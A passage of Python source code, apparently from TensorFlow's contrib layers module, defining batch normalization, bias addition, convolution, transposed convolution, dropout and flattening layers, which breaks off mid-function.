`GraphKeys.TRAINABLE_VARIABLES` (see `tf.Variable`). batch_weights: An optional tensor of shape `[batch_size]`, containing a frequency weight for each batch item. If present, then the batch normalization uses weighted mean and variance. (This can be used to correct for bias in training example selection.) fused: if `True`, use a faster, fused implementation if possible. If `None`, use the system recommended implementation. data_format: A string. `NHWC` (default) and `NCHW` are supported. zero_debias_moving_mean: Use zero_debias for moving_mean. It creates a new pair of variables 'moving_mean/biased' and 'moving_mean/local_step'. scope: Optional scope for `variable_scope`. renorm: Whether to use Batch Renormalization (https://arxiv.org/abs/1702.03275). This adds extra variables during training. The inference is the same for either value of this parameter. renorm_clipping: A dictionary that may map keys 'rmax', 'rmin', 'dmax' to scalar `Tensors` used to clip the renorm correction. The correction `(r, d)` is used as `corrected_value = normalized_value * r + d`, with `r` clipped to [rmin, rmax], and `d` to [-dmax, dmax]. Missing rmax, rmin, dmax are set to inf, 0, inf, respectively. renorm_decay: Momentum used to update the moving means and standard deviations with renorm. Unlike `momentum`, this affects training and should be neither too small (which would add noise) nor too large (which would give stale estimates). Note that `decay` is still applied to get the means and variances for inference. Returns: A `Tensor` representing the output of the operation. Raises: ValueError: If `data_format` is neither `NHWC` nor `NCHW`. ValueError: If the rank of `inputs` is undefined. ValueError: If rank or channels dimension of `inputs` is undefined. """ # This environment variable is only used during the testing period of fused # batch norm and will be removed after that. if fused is None: fused = _FUSED_DEFAULT # Only use _fused_batch_norm if all of the following three # conditions are true: # (1) fused is set True; # (2) it is possible to use (currently it doesn't support batch weights, # renorm, and the case when rank is neither 2 nor 4); # (3) it is used with zero_debias_moving_mean, or an input shape of rank 2, # or non-default updates_collections (not implemented in # normalization_layers.BatchNormalization yet); otherwise use the fused # implementation in normalization_layers.BatchNormalization. inputs = ops.convert_to_tensor(inputs) rank = inputs.get_shape().ndims possible_to_fuse = batch_weights is None and not renorm and rank in [2, 4] if fused and possible_to_fuse and ( zero_debias_moving_mean or rank == 2 or updates_collections is not ops.GraphKeys.UPDATE_OPS): return _fused_batch_norm( inputs, decay=decay, center=center, scale=scale, epsilon=epsilon, activation_fn=activation_fn, param_initializers=param_initializers, updates_collections=updates_collections, is_training=is_training, reuse=reuse, variables_collections=variables_collections, outputs_collections=outputs_collections, trainable=trainable, data_format=data_format, zero_debias_moving_mean=zero_debias_moving_mean, scope=scope) if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') layer_variable_getter = _build_variable_getter() with variable_scope.variable_scope( scope, 'BatchNorm', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) # Determine whether we can use the core layer class. if (batch_weights is None and updates_collections is ops.GraphKeys.UPDATE_OPS and not zero_debias_moving_mean): # Use the core layer class. axis = 1 if data_format == DATA_FORMAT_NCHW else -1 if not param_initializers: param_initializers = {} beta_initializer = param_initializers.get('beta', init_ops.zeros_initializer()) gamma_initializer = param_initializers.get('gamma', init_ops.ones_initializer()) moving_mean_initializer = param_initializers.get( 'moving_mean', init_ops.zeros_initializer()) moving_variance_initializer = param_initializers.get( 'moving_variance', init_ops.ones_initializer()) if not param_regularizers: param_regularizers = {} beta_regularizer = param_regularizers.get('beta') gamma_regularizer = param_regularizers.get('gamma') layer = normalization_layers.BatchNormalization( axis=axis, momentum=decay, epsilon=epsilon, center=center, scale=scale, beta_initializer=beta_initializer, gamma_initializer=gamma_initializer, moving_mean_initializer=moving_mean_initializer, moving_variance_initializer=moving_variance_initializer, beta_regularizer=beta_regularizer, gamma_regularizer=gamma_regularizer, trainable=trainable, renorm=renorm, renorm_clipping=renorm_clipping, renorm_momentum=renorm_decay, name=sc.name, _scope=sc, _reuse=reuse, fused=fused) outputs = layer.apply(inputs, training=is_training) # Add variables to collections. _add_variable_to_collections( layer.moving_mean, variables_collections, 'moving_mean') _add_variable_to_collections( layer.moving_variance, variables_collections, 'moving_variance') if layer.beta is not None: _add_variable_to_collections(layer.beta, variables_collections, 'beta') if layer.gamma is not None: _add_variable_to_collections( layer.gamma, variables_collections, 'gamma') if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) # Not supported by layer class: batch_weights argument, # and custom updates_collections. In that case, use the legacy BN # implementation. # Custom updates collections are not supported because the update logic # is different in this case, in particular w.r.t. "forced updates" and # update op reuse. if renorm: raise ValueError('renorm is not supported with batch_weights, ' 'updates_collections or zero_debias_moving_mean') inputs_shape = inputs.get_shape() inputs_rank = inputs_shape.ndims if inputs_rank is None: raise ValueError('Inputs %s has undefined rank.' % inputs.name) dtype = inputs.dtype.base_dtype if batch_weights is not None: batch_weights = ops.convert_to_tensor(batch_weights) inputs_shape[0:1].assert_is_compatible_with(batch_weights.get_shape()) # Reshape batch weight values so they broadcast across inputs. nshape = [-1] + [1 for _ in range(inputs_rank - 1)] batch_weights = array_ops.reshape(batch_weights, nshape) if data_format == DATA_FORMAT_NCHW: moments_axes = [0] + list(range(2, inputs_rank)) params_shape = inputs_shape[1:2] # For NCHW format, rather than relying on implicit broadcasting, we # explicitly reshape the params to params_shape_broadcast when computing # the moments and the batch normalization. params_shape_broadcast = list( [1, inputs_shape[1].value] + [1 for _ in range(2, inputs_rank)]) else: moments_axes = list(range(inputs_rank - 1)) params_shape = inputs_shape[-1:] params_shape_broadcast = None if not params_shape.is_fully_defined(): raise ValueError('Inputs %s has undefined channels dimension %s.' % ( inputs.name, params_shape)) # Allocate parameters for the beta and gamma of the normalization. beta, gamma = None, None if not param_initializers: param_initializers = {} if center: beta_collections = utils.get_variable_collections(variables_collections, 'beta') beta_initializer = param_initializers.get('beta', init_ops.zeros_initializer()) beta = variables.model_variable('beta', shape=params_shape, dtype=dtype, initializer=beta_initializer, collections=beta_collections, trainable=trainable) if scale: gamma_collections = utils.get_variable_collections(variables_collections, 'gamma') gamma_initializer = param_initializers.get('gamma', init_ops.ones_initializer()) gamma = variables.model_variable('gamma', shape=params_shape, dtype=dtype, initializer=gamma_initializer, collections=gamma_collections, trainable=trainable) # Create moving_mean and moving_variance variables and add them to the # appropriate collections. We disable variable partitioning while creating # them, because assign_moving_average is not yet supported for partitioned # variables. partitioner = variable_scope.get_variable_scope().partitioner try: variable_scope.get_variable_scope().set_partitioner(None) moving_mean_collections = utils.get_variable_collections( variables_collections, 'moving_mean') moving_mean_initializer = param_initializers.get( 'moving_mean', init_ops.zeros_initializer()) moving_mean = variables.model_variable( 'moving_mean', shape=params_shape, dtype=dtype, initializer=moving_mean_initializer, trainable=False, collections=moving_mean_collections) moving_variance_collections = utils.get_variable_collections( variables_collections, 'moving_variance') moving_variance_initializer = param_initializers.get( 'moving_variance', init_ops.ones_initializer()) moving_variance = variables.model_variable( 'moving_variance', shape=params_shape, dtype=dtype, initializer=moving_variance_initializer, trainable=False, collections=moving_variance_collections) finally: variable_scope.get_variable_scope().set_partitioner(partitioner) # If `is_training` doesn't have a constant value, because it is a `Tensor`, # a `Variable` or `Placeholder` then is_training_value will be None and # `needs_moments` will be true. is_training_value = utils.constant_value(is_training) need_moments = is_training_value is None or is_training_value if need_moments: # Calculate the moments based on the individual batch. if batch_weights is None: if data_format == DATA_FORMAT_NCHW: mean, variance = nn.moments(inputs, moments_axes, keep_dims=True) mean = array_ops.reshape(mean, [-1]) variance = array_ops.reshape(variance, [-1]) else: mean, variance = nn.moments(inputs, moments_axes) else: if data_format == DATA_FORMAT_NCHW: mean, variance = nn.weighted_moments(inputs, moments_axes, batch_weights, keep_dims=True) mean = array_ops.reshape(mean, [-1]) variance = array_ops.reshape(variance, [-1]) else: mean, variance = nn.weighted_moments(inputs, moments_axes, batch_weights) moving_vars_fn = lambda: (moving_mean, moving_variance) if updates_collections is None: def _force_updates(): """Internal function forces updates moving_vars if is_training.""" update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) with ops.control_dependencies([update_moving_mean, update_moving_variance]): return array_ops.identity(mean), array_ops.identity(variance) mean, variance = utils.smart_cond(is_training, _force_updates, moving_vars_fn) else: def _delay_updates(): """Internal function that delay updates moving_vars if is_training.""" update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) return update_moving_mean, update_moving_variance update_mean, update_variance = utils.smart_cond(is_training, _delay_updates, moving_vars_fn) ops.add_to_collections(updates_collections, update_mean) ops.add_to_collections(updates_collections, update_variance) # Use computed moments during training and moving_vars otherwise. vars_fn = lambda: (mean, variance) mean, variance = utils.smart_cond(is_training, vars_fn, moving_vars_fn) else: mean, variance = moving_mean, moving_variance if data_format == DATA_FORMAT_NCHW: mean = array_ops.reshape(mean, params_shape_broadcast) variance = array_ops.reshape(variance, params_shape_broadcast) if beta is not None: beta = array_ops.reshape(beta, params_shape_broadcast) if gamma is not None: gamma = array_ops.reshape(gamma, params_shape_broadcast) # Compute batch_normalization. outputs = nn.batch_normalization(inputs, mean, variance, beta, gamma, epsilon) outputs.set_shape(inputs_shape) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def bias_add(inputs, activation_fn=None, initializer=init_ops.zeros_initializer(), regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, data_format=DATA_FORMAT_NHWC, scope=None): """Adds a bias to the inputs. Can be used as a normalizer function for conv2d and fully_connected. Args: inputs: A tensor of with at least rank 2 and value for the last dimension, e.g. `[batch_size, depth]`, `[None, None, None, depth]`. activation_fn: Activation function, default set to None to skip it and maintain a linear activation. initializer: An initializer for the bias, defaults to 0. regularizer: A regularizer like the result of `l1_regularizer` or `l2_regularizer`. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional collections for the variables. outputs_collections: Collections to add the outputs. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable). data_format: A string. 'NHWC' and 'NCHW' are supported. scope: Optional scope for variable_scope. Returns: A tensor representing the result of adding biases to the inputs. Raises: ValueError: If `data_format` is neither `NHWC` nor `NCHW`. ValueError: If `data_format` is `NCHW` and rank of `inputs` is not 4. ValueError: If the rank of `inputs` is undefined. ValueError: If rank or `C` dimension of `inputs` is undefined. """ if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with variable_scope.variable_scope(scope, 'BiasAdd', [inputs], reuse=reuse) as sc: inputs = ops.convert_to_tensor(inputs) dtype = inputs.dtype.base_dtype inputs_shape = inputs.get_shape() inputs_rank = inputs_shape.ndims if inputs_rank is None: raise ValueError('Dims of shape must be known but is None') elif inputs_rank != 4 and data_format == DATA_FORMAT_NCHW: raise ValueError('Data format NCHW only supports 4D Tensor') axis = 1 if data_format == DATA_FORMAT_NCHW else -1 num_features = inputs_shape[axis].value if num_features is None: raise ValueError('`C` dimension must be known but is None') biases_collections = utils.get_variable_collections(variables_collections, 'biases') biases = variables.model_variable('biases', shape=[num_features,], dtype=dtype, initializer=initializer, regularizer=regularizer, collections=biases_collections, trainable=trainable) outputs = nn.bias_add(inputs, biases, data_format=data_format) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) # TODO(jbms): change `rate` parameter to `dilation_rate` for consistency with # underlying op. @add_arg_scope def convolution(inputs, num_outputs, kernel_size, stride=1, padding='SAME', data_format=None, rate=1, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): """Adds an N-D convolution followed by an optional batch_norm layer. It is required that 1 <= N <= 3. `convolution` creates a variable called `weights`, representing the convolutional kernel, that is convolved (actually cross-correlated) with the `inputs` to produce a `Tensor` of activations. If a `normalizer_fn` is provided (such as `batch_norm`), it is then applied. Otherwise, if `normalizer_fn` is None and a `biases_initializer` is provided then a `biases` variable would be created and added the activations. Finally, if `activation_fn` is not `None`, it is applied to the activations as well. Performs atrous convolution with input stride/dilation rate equal to `rate` if a value > 1 for any dimension of `rate` is specified. In this case `stride` values != 1 are not supported. Args: inputs: A Tensor of rank N+2 of shape `[batch_size] + input_spatial_shape + [in_channels]` if data_format does not start with "NC" (default), or `[batch_size, in_channels] + input_spatial_shape` if data_format starts with "NC". num_outputs: Integer, the number of output filters. kernel_size: A sequence of N positive integers specifying the spatial dimensions of the filters. Can be a single integer to specify the same value for all spatial dimensions. stride: A sequence of N positive integers specifying the stride at which to compute output. Can be a single integer to specify the same value for all spatial dimensions. Specifying any `stride` value != 1 is incompatible with specifying any `rate` value != 1. padding: One of `"VALID"` or `"SAME"`. data_format: A string or None. Specifies whether the channel dimension of the `input` and output is the last dimension (default, or if `data_format` does not start with "NC"), or the second dimension (if `data_format` starts with "NC"). For N=1, the valid values are "NWC" (default) and "NCW". For N=2, the valid values are "NHWC" (default) and "NCHW". For N=3, the valid values are "NDHWC" (default) and "NCDHW". rate: A sequence of N positive integers specifying the dilation rate to use for atrous convolution. Can be a single integer to specify the same value for all spatial dimensions. Specifying any `rate` value != 1 is incompatible with specifying any `stride` value != 1. activation_fn: Activation function. The default value is a ReLU function. Explicitly set it to None to skip it and maintain a linear activation. normalizer_fn: Normalization function to use instead of `biases`. If `normalizer_fn` is provided then `biases_initializer` and `biases_regularizer` are ignored and `biases` are not created nor added. default set to None for no normalizer function normalizer_params: Normalization function parameters. weights_initializer: An initializer for the weights. weights_regularizer: Optional regularizer for the weights. biases_initializer: An initializer for the biases. If None skip biases. biases_regularizer: Optional regularizer for the biases. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional list of collections for all the variables or a dictionary containing a different list of collection per variable. outputs_collections: Collection to add the outputs. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable). scope: Optional scope for `variable_scope`. Returns: A tensor representing the output of the operation. Raises: ValueError: If `data_format` is invalid. ValueError: Both 'rate' and `stride` are not uniformly 1. """ if data_format not in [None, 'NWC', 'NCW', 'NHWC', 'NCHW', 'NDHWC', 'NCDHW']: raise ValueError('Invalid data_format: %r' % (data_format,)) layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'Conv', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) input_rank = inputs.get_shape().ndims if input_rank == 3: layer_class = convolutional_layers.Convolution1D elif input_rank == 4: layer_class = convolutional_layers.Convolution2D elif input_rank == 5: layer_class = convolutional_layers.Convolution3D else: raise ValueError('Convolution not supported for input with rank', input_rank) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = layer_class(filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, dilation_rate=rate, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.use_bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) convolution2d = convolution convolution3d = convolution @add_arg_scope def convolution2d_in_plane( inputs, kernel_size, stride=1, padding='SAME', activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): """Performs the same in-plane convolution to each channel independently. This is useful for performing various simple channel-independent convolution operations such as image gradients: image = tf.constant(..., shape=(16, 240, 320, 3)) vert_gradients = layers.conv2d_in_plane(image, kernel=[1, -1], kernel_size=[2, 1]) horz_gradients = layers.conv2d_in_plane(image, kernel=[1, -1], kernel_size=[1, 2]) Args: inputs: A 4-D tensor with dimensions [batch_size, height, width, channels]. kernel_size: A list of length 2 holding the [kernel_height, kernel_width] of of the pooling. Can be an int if both values are the same. stride: A list of length 2 `[stride_height, stride_width]`. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: The padding type to use, either 'SAME' or 'VALID'. activation_fn: Activation function. The default value is a ReLU function. Explicitly set it to None to skip it and maintain a linear activation. normalizer_fn: Normalization function to use instead of `biases`. If `normalizer_fn` is provided then `biases_initializer` and `biases_regularizer` are ignored and `biases` are not created nor added. default set to None for no normalizer function normalizer_params: Normalization function parameters. weights_initializer: An initializer for the weights. weights_regularizer: Optional regularizer for the weights. biases_initializer: An initializer for the biases. If None skip biases. biases_regularizer: Optional regularizer for the biases. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional list of collections for all the variables or a dictionary containing a different list of collection per variable. outputs_collections: Collection to add the outputs. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable). scope: Optional scope for `variable_scope`. Returns: A `Tensor` representing the output of the operation. """ with variable_scope.variable_scope( scope, 'ConvInPlane', [inputs], reuse=reuse) as sc: dtype = inputs.dtype.base_dtype kernel_h, kernel_w = utils.two_element_tuple(kernel_size) stride_h, stride_w = utils.two_element_tuple(stride) num_filters_in = utils.last_dimension(inputs.get_shape(), min_rank=4) weights_shape = [kernel_h, kernel_w, 1, 1] weights_collections = utils.get_variable_collections( variables_collections, 'weights') weights = variables.model_variable('weights', shape=weights_shape, dtype=dtype, initializer=weights_initializer, regularizer=weights_regularizer, collections=weights_collections, trainable=trainable) depthwise_weights = array_ops.tile(weights, [1, 1, num_filters_in, 1]) outputs = nn.depthwise_conv2d(inputs, depthwise_weights, [1, stride_h, stride_w, 1], padding) if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) else: if biases_initializer is not None: biases_collections = utils.get_variable_collections( variables_collections, 'biases') biases = variables.model_variable('biases', shape=[num_filters_in,], dtype=dtype, initializer=biases_initializer, regularizer=biases_regularizer, collections=biases_collections, trainable=trainable) outputs = nn.bias_add(outputs, biases) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def convolution2d_transpose( inputs, num_outputs, kernel_size, stride=1, padding='SAME', data_format=DATA_FORMAT_NHWC, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): """Adds a convolution2d_transpose with an optional batch normalization layer. The function creates a variable called `weights`, representing the kernel, that is convolved with the input. If `normalizer_fn` is `None`, a second variable called 'biases' is added to the result of the operation. Args: inputs: A 4-D `Tensor` of type `float` and shape `[batch, height, width, in_channels]` for `NHWC` data format or `[batch, in_channels, height, width]` for `NCHW` data format. num_outputs: Integer, the number of output filters. kernel_size: A list of length 2 holding the [kernel_height, kernel_width] of of the filters. Can be an int if both values are the same. stride: A list of length 2: [stride_height, stride_width]. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: One of 'VALID' or 'SAME'. data_format: A string. `NHWC` (default) and `NCHW` are supported. activation_fn: Activation function. The default value is a ReLU function. Explicitly set it to None to skip it and maintain a linear activation. normalizer_fn: Normalization function to use instead of `biases`. If `normalizer_fn` is provided then `biases_initializer` and `biases_regularizer` are ignored and `biases` are not created nor added. default set to None for no normalizer function normalizer_params: Normalization function parameters. weights_initializer: An initializer for the weights. weights_regularizer: Optional regularizer for the weights. biases_initializer: An initializer for the biases. If None skip biases. biases_regularizer: Optional regularizer for the biases. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional list of collections for all the variables or a dictionary containing a different list of collection per variable. outputs_collections: Collection to add the outputs. trainable: Whether or not the variables should be trainable or not. scope: Optional scope for variable_scope. Returns: A tensor representing the output of the operation. Raises: ValueError: If 'kernel_size' is not a list of length 2. ValueError: If `data_format` is neither `NHWC` nor `NCHW`. ValueError: If `C` dimension of `inputs` is None. """ layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'Conv2d_transpose', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = convolutional_layers.Convolution2DTranspose( filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def convolution3d_transpose( inputs, num_outputs, kernel_size, stride=1, padding='SAME', data_format=DATA_FORMAT_NDHWC, activation_fn=nn.relu, normalizer_fn=None, normalizer_params=None, weights_initializer=initializers.xavier_initializer(), weights_regularizer=None, biases_initializer=init_ops.zeros_initializer(), biases_regularizer=None, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, scope=None): """Adds a convolution3d_transpose with an optional batch normalization layer. The function creates a variable called `weights`, representing the kernel, that is convolved with the input. If `batch_norm_params` is `None`, a second variable called 'biases' is added to the result of the operation. Args: inputs: A 5-D `Tensor` of type `float` and shape `[batch, depth, height, width, in_channels]` for `NDHWC` data format or `[batch, in_channels, depth, height, width]` for `NCDHW` data format. num_outputs: Integer, the number of output filters. kernel_size: A list of length 3 holding the [kernel_depth, kernel_height, kernel_width] of of the filters. Can be an int if both values are the same. stride: A list of length 3: [stride_depth, stride_height, stride_width]. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: One of 'VALID' or 'SAME'. data_format: A string. `NDHWC` (default) and `NCDHW` are supported. activation_fn: Activation function. The default value is a ReLU function. Explicitly set it to None to skip it and maintain a linear activation. normalizer_fn: Normalization function to use instead of `biases`. If `normalizer_fn` is provided then `biases_initializer` and `biases_regularizer` are ignored and `biases` are not created nor added. default set to None for no normalizer function normalizer_params: Normalization function parameters. weights_initializer: An initializer for the weights. weights_regularizer: Optional regularizer for the weights. biases_initializer: An initializer for the biases. If None skip biases. biases_regularizer: Optional regularizer for the biases. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional list of collections for all the variables or a dictionary containing a different list of collection per variable. outputs_collections: Collection to add the outputs. trainable: Whether or not the variables should be trainable or not. scope: Optional scope for variable_scope. Returns: A tensor representing the output of the operation. Raises: ValueError: If 'kernel_size' is not a list of length 3. ValueError: If `data_format` is neither `NDHWC` nor `NCDHW`. ValueError: If `C` dimension of `inputs` is None. """ layer_variable_getter = _build_variable_getter( {'bias': 'biases', 'kernel': 'weights'}) with variable_scope.variable_scope( scope, 'Conv3d_transpose', [inputs], reuse=reuse, custom_getter=layer_variable_getter) as sc: if data_format not in (DATA_FORMAT_NCDHW, DATA_FORMAT_NDHWC): raise ValueError('data_format has to be either NCDHW or NDHWC.') inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = convolutional_layers.Convolution3DTranspose( filters=num_outputs, kernel_size=kernel_size, strides=stride, padding=padding, data_format=df, activation=None, use_bias=not normalizer_fn and biases_initializer, kernel_initializer=weights_initializer, bias_initializer=biases_initializer, kernel_regularizer=weights_regularizer, bias_regularizer=biases_regularizer, activity_regularizer=None, trainable=trainable, name=sc.name, dtype=inputs.dtype.base_dtype, _scope=sc, _reuse=reuse) outputs = layer.apply(inputs) # Add variables to collections. _add_variable_to_collections(layer.kernel, variables_collections, 'weights') if layer.bias: _add_variable_to_collections(layer.bias, variables_collections, 'biases') if normalizer_fn is not None: normalizer_params = normalizer_params or {} outputs = normalizer_fn(outputs, **normalizer_params) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def dropout(inputs, keep_prob=0.5, noise_shape=None, is_training=True, outputs_collections=None, scope=None): """Returns a dropout op applied to the input. With probability `keep_prob`, outputs the input element scaled up by `1 / keep_prob`, otherwise outputs `0`. The scaling is so that the expected sum is unchanged. Args: inputs: The tensor to pass to the nn.dropout op. keep_prob: A scalar `Tensor` with the same type as x. The probability that each element is kept. noise_shape: A 1-D `Tensor` of type `int32`, representing the shape for randomly generated keep/drop flags. is_training: A bool `Tensor` indicating whether or not the model is in training mode. If so, dropout is applied and values scaled. Otherwise, inputs is returned. outputs_collections: Collection to add the outputs. scope: Optional scope for name_scope. Returns: A tensor representing the output of the operation. """ with variable_scope.variable_scope( scope, 'Dropout', [inputs], custom_getter=_model_variable_getter) as sc: inputs = ops.convert_to_tensor(inputs) layer = core_layers.Dropout(rate=1 - keep_prob, noise_shape=noise_shape, name=sc.name, _scope=sc) outputs = layer.apply(inputs, training=is_training) return utils.collect_named_outputs( outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def flatten(inputs, outputs_collections=None, scope=None): """Flattens the input while maintaining the batch_size. Assumes that the first dimension represents the batch. Args: inputs: A tensor of size [batch_size, ...]. outputs_collections: Collection to add the outputs. scope: Optional scope for name_scope. Returns: A flattened tensor with shape [batch_size, k]. Raises: ValueError: If inputs rank is unknown or less than 2. """ with ops.name_scope(scope, 'Flatten', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) inputs_rank = inputs.get_shape().ndims if (inputs_rank is None) or (inputs_rank < 2): raise ValueError('Inputs must have a least 2 dimensions.') inputs_shape = array_ops.shape(inputs) batch_dim = array_ops.slice(inputs_shape, [0], [1]) spatial_dims = array_ops.slice(inputs_shape, [1], [inputs_rank - 1]) flat_spatial_dim = math_ops.reduce_prod(spatial_dims) flat_spatial_dim = array_ops.expand_dims(flat_spatial_dim, 0) flat_shape = array_ops.concat([batch_dim, flat_spatial_dim], 0) outputs = array_ops.reshape(inputs, flat_shape) # Attempt to propagate shape information, if it is defined. input_shape = inputs.get_shape().as_list() batch_dim, spatial_dims = input_shape[0], input_shape[1:] if all(spatial_dims): outputs.set_shape([batch_dim, functools.reduce(lambda x, y: x * y, spatial_dims)]) else: outputs.set_shape([batch_dim, None]) return utils.collect_named_outputs(outputs_collections, sc, outputs) def _sparse_inner_flatten(inputs, new_rank): """Helper function for `inner_flatten`.""" inputs_rank = inputs.dense_shape.get_shape().as_list()[0] if inputs_rank < new_rank: raise ValueError( 'Inputs has rank less than new_rank. {} must have rank at least' ' {}. Received rank {}, shape {}'.format(inputs, new_rank, inputs_rank, inputs.get_shape())) outer_dimensions = inputs.dense_shape[:new_rank - 1] inner_dimensions = inputs.dense_shape[new_rank - 1:] new_shape = array_ops.concat((outer_dimensions, [math_ops.reduce_prod(inner_dimensions)]), 0) flattened = sparse_ops.sparse_reshape(inputs, new_shape) return flattened def _dense_inner_flatten(inputs, new_rank): """Helper function for `inner_flatten`.""" rank_assertion = check_ops.assert_rank_at_least( inputs, new_rank, message='inputs has rank less than new_rank') with ops.control_dependencies([rank_assertion]): outer_dimensions = array_ops.strided_slice( array_ops.shape(inputs), [0], [new_rank - 1]) new_shape = array_ops.concat((outer_dimensions, [-1]), 0) reshaped = array_ops.reshape(inputs, new_shape) # if `new_rank` is an integer, try to calculate new shape. if isinstance(new_rank, six.integer_types): static_shape = inputs.get_shape() if static_shape is not None and static_shape.dims is not None: static_shape = static_shape.as_list() static_outer_dims = static_shape[:new_rank - 1] static_inner_dims = static_shape[new_rank - 1:] flattened_dimension = 1 for inner_dim in static_inner_dims: if inner_dim is None: flattened_dimension = None break flattened_dimension *= inner_dim reshaped.set_shape(static_outer_dims + [flattened_dimension]) return reshaped @add_arg_scope def _inner_flatten(inputs, new_rank, output_collections=None, scope=None): """Flattens inner dimensions of `inputs`, returns a Tensor with `new_rank`. For example: ''' x = tf.random_uniform(shape=[1, 2, 3, 4, 5, 6]) y = _inner_flatten(x, 4) assert y.get_shape().as_list() == [1, 2, 3, (4 * 5 * 6)] ''' This layer will fail at run time if `new_rank` is greater than the current rank of `inputs`. Args: inputs: A `Tensor` or `SparseTensor`. new_rank: The desired rank of the returned `Tensor` or `SparseTensor`. output_collections: Collection to which the outputs will be added. scope: Optional scope for `name_scope`. Returns: A `Tensor` or `SparseTensor` conataining the same values as `inputs`, but with innermost dimensions flattened to obtain rank `new_rank`. Raises: TypeError: `inputs` is not a `Tensor` or `SparseTensor`. """ with ops.name_scope(scope, 'InnerFlatten', [inputs, new_rank]) as sc: if isinstance(inputs, sparse_tensor.SparseTensor): flattened = 